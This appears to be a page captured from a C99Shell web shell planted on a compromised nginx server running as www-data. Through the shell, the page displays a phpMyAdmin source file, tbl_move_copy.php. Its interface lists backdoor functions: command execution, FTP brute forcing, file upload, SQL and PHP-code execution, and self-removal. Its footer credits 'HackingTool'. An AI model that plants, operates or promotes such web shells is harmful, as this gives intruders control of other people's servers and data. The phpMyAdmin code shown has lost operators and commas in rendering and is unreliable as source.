!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpMY/   drwxrwxrwx
Free 83.35 GB of 96.73 GB (86.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_move_copy.php (2.51 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 *
 * @package PhpMyAdmin
 */

/**
 * Gets some core libraries
 */
require_once './libraries/common.inc.php';

// Check parameters

PMA_checkParameters(array('db''table'));

/**
 * Defines the url to return to in case of error in a sql statement
 */
$err_url 'tbl_sql.php?' PMA_generate_common_url($db$table);


/**
 * Selects the database to work with
 */
PMA_DBI_select_db($db);

$goto $cfg['DefaultTabTable'];

/**
 * $_REQUEST['target_db'] could be empty in case we came from an input field
 * (when there are many databases, no drop-down)
 */
if (empty($_REQUEST['target_db'])) {
    
$_REQUEST['target_db'] = $db;
}

/**
 * A target table name has been sent to this script -> do the work
 */
if (PMA_isValid($_REQUEST['new_name'])) {
    if (
$db == $_REQUEST['target_db'] && $table == $_REQUEST['new_name']) {
        if (isset(
$_REQUEST['submit_move'])) {
            
$message PMA_Message::error(__('Can\'t move table to same one!'));
        } else {
            
$message PMA_Message::error(__('Can\'t copy table to same one!'));
        }
        
$result false;
    } else {
        
$result PMA_Table::moveCopy($db$table$_REQUEST['target_db'], $_REQUEST['new_name'],
            
$_REQUEST['what'], isset($_REQUEST['submit_move']), 'one_table');

        if (isset(
$_REQUEST['submit_move'])) {
            
$message PMA_Message::success(__('Table %s has been moved to %s.'));
        } else {
            
$message PMA_Message::success(__('Table %s has been copied to %s.'));
        }
        
$old PMA_backquote($db) . '.' PMA_backquote($table);
        
$message->addParam($old);
        
$new PMA_backquote($_REQUEST['target_db']) . '.' PMA_backquote($_REQUEST['new_name']);
        
$message->addParam($new);

        
/* Check: Work on new table or on old table? */
        
if (isset($_REQUEST['submit_move']) || PMA_isValid($_REQUEST['switch_to_new'])) {
            
$db        $_REQUEST['target_db'];
            
$table     $_REQUEST['new_name'];
        }

        if ( 
$_REQUEST['ajax_request'] == true) {
            
$extra_data['sql_query'] = PMA_showMessage(null$sql_query);
            
$extra_data['db'] = $GLOBALS['db'];
            
PMA_ajaxResponse($message$message->isSuccess(), $extra_data);
        }

        
$reload 1;
    }
} else {
    
/**
     * No new name for the table!
     */
    
$message PMA_Message::error(__('The table name is empty!'));
    
$result false;
}

/**
 * Back to the calling script
 */
$_message $message;
unset(
$message);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0027 ]--